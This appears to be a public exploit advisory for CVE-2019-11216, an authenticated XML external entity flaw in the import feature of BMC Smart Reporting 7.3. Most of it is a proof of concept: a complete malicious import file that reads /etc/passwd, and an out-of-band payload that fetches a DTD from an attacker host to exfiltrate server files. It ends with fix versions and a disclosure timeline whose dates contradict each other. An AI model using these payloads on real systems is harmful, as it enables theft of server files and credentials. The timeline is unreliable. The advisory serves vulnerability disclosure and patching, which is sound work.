BMC Smart Reporting 7.3 20180418 XML Injection

Related Vulnerabilities: CVE-2019-11216  
Publish Date: 04 Dec 2019
                							

                <!--
# Exploit Title: XXE in  BMC Smart Reporting 7.3 20180418
# Date: 11-12-2019
# Exploit Author: David Herrero
# Vendor Homepage: https://www.bmc.com/
# Software Link:
https://docs.bmc.com/docs/itsm90/export-and-import-repository-509983929.html
# Version: BMC Smart Reporting 7.3 20180418
# Tested on: Linux
# CVE : CVE-2019-11216
# Category: vulnerability

1. Description

BMC Smart Reporting 7.3 20180418 allows authenticated XXE within the
import functionality.
One auhtenticated user with admin privileges can import a malicious XML
file and perform XXE
attacks to download local files from the server, or do DoS attacks with
XML expansion attacks.
XXE with direct response and XXE OOB are allowed


2. Proof of Concept

Login with an admin account into BMC Remedy Smart reporting, in the left
menu select the option
"Import", in the "Import File Selection" page upload a malicious XML
file like this one:

XML File for XXE Code in response:

<?xml version="1.0" encoding="UTF-8"?><!-- SmartReporting export file
--><!-- Generated at 2019-01-18 10:14 UTC (+0000) -->
<!DOCTYPE data [
<!ELEMENT data ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<data>
  <info>
    <exportversion>4</exportversion>
    <exportsubversion>43</exportsubversion>
    <appversion>7.3</appversion>
    <buildversion>20180418</buildversion>
    <exportdate>2019-01-18 10:14 UTC (+0000)</exportdate>
  </info>
  <source>
    <id>66717</id>
    <sourceName>&xxe;</sourceName>
    <sourceDescription>testburpDESC</sourceDescription>
    <userName>test</userName>
    <password>Fi8IDs5q9p4=</password>
    <connectionTypeCode>GENERICUSER</connectionTypeCode>
    <connectionMethodCode>SSRS</connectionMethodCode>
    <connectionDriver>evil.com</connectionDriver>
    <databaseURL>http://wvil.com/a.txt</databaseURL>
    <databaseTypeCode>GENERICJDBC</databaseTypeCode>
    <minConnections>1</minConnections>
    <maxConnections>5</maxConnections>
    <connectionRefreshTime>3</connectionRefreshTime>
    <connectionTimeOut>180</connectionTimeOut>
    <accessCode>UNSECURE</accessCode>
    <platformTypeCode/>
    <maxRowCount>0</maxRowCount>
    <broadcastPermitted>true</broadcastPermitted>
    <subscribePermitted>true</subscribePermitted>
    <dataProfileEnabled>true</dataProfileEnabled>
    <localTimezoneCode>AUSTRALIA/SYDNEY</localTimezoneCode>
    <secondaryMinConnections>0</secondaryMinConnections>
    <secondaryMaxConnections>0</secondaryMaxConnections>
    <secondaryConnectionRefreshTime>0</secondaryConnectionRefreshTime>
    <secondaryConnectionTimeOut>0</secondaryConnectionTimeOut>
    <filterList/>
    <sourceParameterList>
      <sourceParameter>
        <id>0</id>
        <parameterTypeCode>TEXT</parameterTypeCode>
        <parameterKey>SOURCECLASSNAME</parameterKey>
        <parameterIndex>0</parameterIndex>

<parameterValue>com.hof.sources.SSRSSourcePlatformImplementation</parameterValue>
        <documentId>0</documentId>
        <userVisible>true</userVisible>
      </sourceParameter>
    </sourceParameterList>
  </source>
</data>

After loading the file, the web application should show the file
"/etc/passwd" inside the HTML code.
When reading XML files, the exploit must use OOB XXE because the content
of the file must be included inside "CDATA" tags, the XML payload is as
follow:

XML File for XXE CDATA exfiltration:

!DOCTYPE data [
<!ELEMENT data ANY >
<!ENTITY % start "<![CDATA[">
<!ENTITY % stuff SYSTEM "file:///path/to/webapps/root/WEB-INF/web.xml">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://attackerip/evil1.xml">
%dtd;
]>
[...]
<sourceName>&all;</sourceName>
[...]

Content of "evil1.xml" is:

<!ENTITY all "%start;%stuff;%end;">

The vulnerable server must be able to reach the file uploaded at
http://attackerip/evil1.xml.


3. Solution:

Remedy Smart Reporting version 9.1.03.001 requires upgrade to the latest
hot fix bundle of this version.
Remedy Smart Reporting version 9.1.04.002 requires upgrade to the latest
hot fix bundle of this version.
Remedy Smart Reporting version 18.05.05 requires upgrade to the latest
hot fix bundle of this version.
Remedy Smart Reporting version 19.02.01 requires upgrade to the latest
hot fix bundle of this version.

4. References
CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11216
Vendor advisory:
https://bmcsites.force.com/casemgmt/sc_KnowledgeArticle?sfdcid=kA21O000000dKWrSAM&type=Solution
Product info:
https://docs.bmc.com/docs/itsm90/export-and-import-repository-509983929.html

5. Dates
01/18/2019 - Discovered Vulnerability
04/12/2018 - CVE Reserved
04/17/2018 - Details sent to Vendor
05/07/2019 - Vendor confirms that product is vulnerable
11/12/2019 - Vendor published an advisory
11/12/2019 - Public disclosure

-->


<p>